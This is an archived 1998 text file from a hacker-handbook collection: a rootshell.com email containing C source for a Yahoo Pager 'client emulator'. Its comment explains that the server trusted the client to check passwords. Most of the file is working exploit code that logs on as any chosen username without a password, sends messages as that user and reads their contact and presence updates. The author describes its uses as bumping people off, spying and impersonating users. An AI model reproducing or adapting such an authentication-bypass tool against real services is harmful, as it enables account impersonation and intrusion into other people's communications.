home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / yahoo-pager.txt < prev    next >
Encoding:
Text File  |  1998-08-24  |  10.2 KB  |  197 lines
  1. [ http://www.rootshell.com/ ]
  2.  
  3.                     From douglas@min.net Sun Aug  2 18:48:44 1998
  4.                     Date: Sun, 2 Aug 1998 20:56:16 -0400 (EDT)
  5.                     From: D. Winslow <douglas@min.net>
  6.                     To: www-request@rootshell.com
  7.                     Subject: Yahoo Pager insecurity
  8.  
  9.  
  10.                     /*
  11.                        Yahoo Pager Client Emulator Thing - yp.c
  12.                        Douglas Winslow <douglas@min.net>
  13.                        Sun Aug  2 20:55:11 EDT 1998
  14.                        Known to compile on Linux 2.0, FreeBSD 2.2, and BSDi 3.0.
  15.                        hi to aap bdc drw jfn jrc mm mcd [cejn]b #cz and rootshell
  16.  
  17.                         Yahoo Pager seems to trust the client-side to do password
  18.                         verification.  That's just plain sad.  All you need to
  19.                         supply is a username to bump people off, spy on contact
  20.                         lists, hijack conversations, impersonate people, etc.
  21.  
  22.                         I know some of this is sleazy code..  I apologise, as it
  23.                         was written more out of haste than thought.  Obviously,
  24.                         don't expect this to work after they've patched their
  25.                         server-side.  Here are a few notes to get you started:
  26.  
  27.                         Contact list update format:
  28.                         nick(cur_mode,session_id?,ip_addr,is_on,is_off?,direct_conn?)
  29.                         Example: "monica(2,B37F6832,5AF089C6,1,0,0)"
  30.  
  31.                         Multiple contact list updates begin with "x,".
  32.                         Example: "3,monica(...),bill(...),janetreno(...)"
  33.  
  34.                         The rest of the server responses are rather straightforward;
  35.                         I'll leave those up to you.  ;>
  36.                     */
  37.  
  38.                     #include <stdio.h>
  39.                     #include <netdb.h>
  40.                     #include <fcntl.h>
  41.                     #include <sys/socket.h>
  42.                     #include <netinet/in.h>
  43.  
  44.                     #define YP_SERV "cs3.yahoo.com"
  45.                     #define YP_PORT 5050
  46.  
  47.                     char    xmt[1128], buffer[38];
  48.                     int     flag, k, s;
  49.  
  50.                     void yparse();
  51.  
  52.                     void main(int argc, char *argv[])
  53.                     {
  54.                             char    mesg[1024], tmp[38], to[38];
  55.                             int     i, n, out, port;
  56.                             struct  sockaddr_in     serv_addr;
  57.                             struct  hostent         *server;
  58.  
  59.                             if (argc > 1) strncpy(tmp, argv[1], 36);
  60.                             else
  61.                             {
  62.                                     printf("Log on as? ");
  63.                                     fgets(tmp, 36, stdin);
  64.                                     tmp[strlen(tmp) - 1] = 0;
  65.                             }
  66.  
  67.                             if (!strlen(tmp)) exit(1);
  68.  
  69.                             memset(xmt, 0, sizeof(xmt));
  70.                             strcpy(xmt, "YPNS1.1");
  71.                             xmt[8] = 104;
  72.                             xmt[9] = 3;
  73.                             xmt[12] = 1;    /* Service: Logon */
  74.                             for (i=32; i < strlen(tmp) + 32; i++)
  75.                             {
  76.                                     xmt[i] = tmp[i - 32];
  77.                                     xmt[i + 36] = tmp[i - 32];
  78.                                     xmt[i + 72] = tmp[i - 32];
  79.                             }
  80.  
  81.                             port = YP_PORT;
  82.                             server = gethostbyname(YP_SERV);
  83.                             if (!server)
  84.                             {
  85.                                     fprintf(stderr, "** Can't resolve \"%s\"\n", YP_SERV);
  86.                                     exit(1);
  87.                             }
  88.  
  89.                             s = socket(AF_INET, SOCK_STREAM, 0);
  90.                             bzero(&serv_addr, sizeof(serv_addr));
  91.                             serv_addr.sin_family = AF_INET;
  92.                             bcopy(server->h_addr, &serv_addr.sin_addr.s_addr,
  93.                                     server->h_length);
  94.                             serv_addr.sin_port = htons(port);
  95.  
  96.                             if (connect(s, &serv_addr, sizeof(serv_addr)) < 0) 
  97.                             {
  98.                                     perror("** Unable to connect to remote host");
  99.                                     exit(1);
  100.                             }
  101.  
  102.                             printf("** Attempting to log on as \"%s\"\n", tmp);
  103.                             out = write(s, xmt, sizeof(xmt));
  104.                             printf("** Sent %i bytes...\n", out);
  105.                             flag = fcntl(s, F_GETFL, 0);
  106.                             flag |= O_NONBLOCK;
  107.                             fcntl(s, F_SETFL, flag);
  108.                             printf("** Type \"msg\" to send an Instant Message.\n");
  109.  
  110.                             while(1)
  111.                             {
  112.                                     memset(buffer, 0, sizeof(buffer));
  113.                                     memset(to, 0, sizeof(to));
  114.                                     flag = fcntl(0, F_GETFL, 0);
  115.                                     flag |= O_NONBLOCK;
  116.                                     fcntl(0, F_SETFL, flag);
  117.                                     fgets(to, 36, stdin);
  118.                                     to[strlen(to) - 1] = 0;
  119.                                     if (!strcmp(to, "msg"))
  120.                                     {
  121.                                             flag = fcntl(0, F_GETFL, 0);
  122.                                             flag -= O_NONBLOCK;
  123.                                             fcntl(0, F_SETFL, flag);
  124.                                             memset(to, 0, sizeof(to));
  125.                                             printf(" To: ");
  126.                                             fgets(to, 36, stdin);
  127.                                             to[strlen(to) - 1] = 0;
  128.                                             if (strlen(to))
  129.                                             {
  130.                                                     memset(mesg, 0, sizeof(mesg));
  131.                                                     printf("Msg: ");
  132.                                                     fgets(mesg, 1024, stdin);
  133.                                                     mesg[strlen(mesg) - 1] = 0;
  134.                                                     memset(xmt, 0, sizeof(xmt));
  135.                                                     strcpy(xmt, "YPNS1.1");
  136.                                                     xmt[8] = 104;
  137.                                                     xmt[9] = 4;
  138.                                                     xmt[12] = 6;    /* Service: Message */
  139.                                                     for (i=32; i < strlen(tmp) + 32; i++)
  140.                                                     {
  141.                                                             xmt[i] = tmp[i - 32];
  142.                                                             xmt[i + 36] = tmp[i - 32];
  143.                                                     }
  144.                                                     for (i=104; i < strlen(to) + 104; i++)
  145.                                                             xmt[i] = to[i - 104];
  146.                                                     k = strlen(to) + 104;
  147.                                                     xmt[k] = 44;
  148.                                                     k++;
  149.                                                     for (i=0; i < strlen(mesg); i++)
  150.                                                             xmt[i + k] = mesg[i];
  151.                                                     out = write(s, xmt, sizeof(xmt));
  152.                                                     printf("** Sent %i bytes\n", out);
  153.                                             }
  154.                                     }
  155.                                     if (!strcmp(to, "quit"))
  156.                                             exit(0);
  157.                                     if (recv(s, buffer, 1, 0) > 0)
  158.                                             if (buffer[0] == 89) yparse();
  159.                                     else sleep(1);
  160.                             }
  161.                     }
  162.  
  163.                     void yparse()
  164.                     {
  165.                             char    tmp[255], nick1[38], nick2[38], content[4096];
  166.                             int     len, service;
  167.  
  168.                             recv(s, buffer, 31, 0);
  169.                             printf("\nServer Version: Y%s\n", buffer);
  170.                             sprintf(tmp, "%i", buffer[7]);
  171.                             len = atoi(tmp);
  172.                             if (len < 0) len += 255;
  173.                             service = buffer[11];
  174.                             printf(" Packet Length: %i\n", len);
  175.                             printf("  Service Type: (%i) ", service);
  176.                             recv(s, buffer, 36, 0);
  177.                             strncpy(nick1, buffer, 36);
  178.                             recv(s, buffer, 36, 0);
  179.                             strncpy(nick2, buffer, 36);
  180.                             recv(s, buffer, len, 0);
  181.                             memset(content, 0, sizeof(content));
  182.                             strncpy(content, buffer, len);
  183.                             if (service == 1)
  184.                                     if (content[0] == 69) printf("Bad username; Goodbye");
  185.                                     else printf("User logged on");
  186.                             if (service == 2)
  187.                                     if (strlen(content)) printf("User logged off");
  188.                                     else printf("Duplicate logins; Goodbye");
  189.                             if (service == 3) printf("User wandered away");
  190.                             if (service == 4) printf("User came back");
  191.                             if (service == 6) printf("Instant Message");
  192.                             if (service == 11) printf("You've got mail");
  193.                             if (service == 15) printf("Added you to their contact list");
  194.                             printf("\n   Actual User: %s\n", nick1);
  195.                             printf("   Active User: %s\n", nick2);
  196.                             printf("       Content: %s\n", content);
  197.                     }